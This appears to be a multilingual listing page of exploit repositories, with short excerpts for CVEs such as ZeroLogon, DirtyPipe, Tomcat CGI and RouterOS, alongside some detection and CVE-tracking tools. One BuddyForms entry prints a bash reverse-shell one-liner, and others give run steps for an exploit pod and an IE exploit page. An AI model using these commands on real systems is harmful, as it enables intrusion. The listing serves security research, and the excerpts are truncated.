MassZeroLogon

Herramienta para pruebas masivas de la vulnerabilidad ZeroLogon CVE-2020-1472 Pasos del procedimiento Para usar esta herramienta necesitas un archivo de hosts con la dirección IP y el nombre de host separados por coma Ejemplo de archivo de hosts root@kitploit: 1.1.1.1 , WIN-6641554161U 1.1.1.1 ,...

CVE-2023-26326_Buddyform_exploit

usage: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' Originalmente, CVE-2023–26326 requería cadenas de gadgets para explotarla como una vulnerabilidad de deserialización. Este método ya no es viable en sitios WordPress más nuevos que ejecutan PHP 8+; sin embarg...

CVE-2019-3396

CVE-2019-3396...

cve-2022-22555

This repository does not have a README...

CVE-2019-1064

CVE-2019-1064 - AppXSVC Local Privilege Escalation https://www.rythmstick.net/posts/cve-2019-1064/...

vulnerability-spoiler-alert

漏洞剧透预警 在 CVE 公布之前了解安全补丁。 查看在线站点 | 通过 RSS 订阅 一个监控枢纽，它观察热门开源仓库，并利用 AI 检测提交何时正在修补安全漏洞——通常早在 CVE 分配之前。发现结果发布到一个复古风格的网站，并配有 RSS 订阅源。 起源与灵感 本项目是 Eugene Lim @spaceraccoon 的 spaceraccoon/vulnerability-spoiler-alert-action 的示例用法。 原始概念和研究记录在博客文章 发现负天数：用于漏洞研究的 LLM 工作流 中，该文章探讨了使用 LLM 在 CVE...

cve-2018-6574

cve-2018-6574...

CVE-2019-0232_tomcat_cgi_exploit

Script de Exploit CGI de Apache Tomcat Descripción Un script de Python diseñado para explotar vulnerabilidades CGI en servidores Apache Tomcat mediante la ejecución de una conexión de shell inversa. Ejemplo de Uso Características Exploit automatizado para vulnerabilidades CGI de Apache Tomcat...

Detection-struts-cve-2017-5638-detector

🚨 Detección de Anomalías en Tiempo Real para Apache Struts CVE-2017-5638 Detección de Exploits Zero-Day Basada en Analítica de Streaming y Estructuras de Datos Probabilísticas 📌 Descripción del Proyecto Este proyecto es un sistema de detección de anomalías en tiempo real diseñado para detectar...

CVE-2025-1974-go

使用单个文件利用CVE-2025-1974。 用法： root@kitploit: 1. change serverip and serverport in shell.c 2. make 3. GOOS=linux go build -ldflags="-w -s -extldflags "-static"" -trimpath main.go 4. run main in your controlled pod...

CVE-2007-2447_python

CVE-2007-2447python 我在HTB中使用的漏洞利用...

CVE-2023-26208

CVE-2023-26208 Exploit Automation Con Fines Educativos 🚨 📌 Descripción Este es un script de Python con interfaz gráfica Tkinter que permite al usuario probar el envío de peticiones automatizadas a un endpoint de inicio de sesión. El objetivo es simular cómo los servidores responden a diferentes...

CVE-2026-82538

creationtimestamp| type| source ---|---|--- 2026-09-04 18:56:52+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/ctckeofgcwqk6 2026-09-04 23:03:24+00:00| seen| https://bsky.app/profile/thehackerwire.bsky.social/post/3muq35b6kko2r...

MS16-051-poc

CVE-2016-0189 CVE-2016-0189 的概念验证漏洞利用代码（IE11中的VBScript内存损坏） 已在 Windows 10 IE 11 上测试。 漏洞分析 https://www.deamwork.com/archives/patch-analysis-of-cve-2016-0189.orz6 运行方式 1. 下载 support/.dll（或自行编译.cpp）和 exploit/.html 到某个目录。 2. 使用 Web 服务器（或 Python 的简易 HTTP 服务器）托管该目录。 3. 使用受害者的 IE 浏览器访问...

CVE-2018-4878

CVE-2018-4878 PoC de exploit Flash ' rápido y sucio' Para información más detallada http://blog.talosintelligence.com/2018/02/group-123-goes-wild.html PoC original https://github.com/anbai-inc/CVE-2018-4878 en este repositorio, corregí el problema del fallo y calculé el espacio correcto para el...

cve-maker

CVE-MAKER 请仅将本软件用于合法目的 。 本人不对您的行为承担任何责任。 使用 Python 3.11.2 由 msd0pe 制作 描述 cve-maker 是一个用于查找 CVE 和漏洞利用的集线器。它基于官方 NIST、ExploitDB 和 Github 数据库。该工具可以快速方便地搜索 CVE 及其相关的漏洞利用。它能够检测漏洞利用的编译选项。还可以用于列出最新的重大漏洞。 使用方法 安装 通过 PIP： root@kitploit:...

WP-CVE-2023-32243

WP-CVE-2023-32243 Cómo usar 1. Asegúrate de tener instaladas las dependencias: root@kitploit: pip install requests 2. Ejecuta el script con el archivo de lista de objetivos: root@kitploit: python2 file.py ⚠️ Aviso legal Este repositorio fue creado solo con fines de investigación de seguridad y...

cve-2022-41032

Este repositorio no tiene un README...

routeros-CVE-2018-14847-bytheway

By the Way By the Way es un exploit que permite obtener una shell de root en dispositivos Mikrotik que ejecutan versiones de RouterOS: Longterm: 6.30.1 - 6.40.7 Stable: 6.29 - 6.42.0 Beta: 6.29rc1 - 6.43rc3 El exploit aprovecha la vulnerabilidad de path traversal CVE-2018-14847 para extraer la...

dirtypipez-exploit

Exploit DirtyPipe CVE-2022-0847. Crédito: Max Kellermann [email protected] Una nueva vulnerabilidad de Linux conocida como 'Dirty Pipe' permite a usuarios locales obtener privilegios de root a través de exploits disponibles públicamente. Hoy, el investigador de seguridad Max Kellermann divul...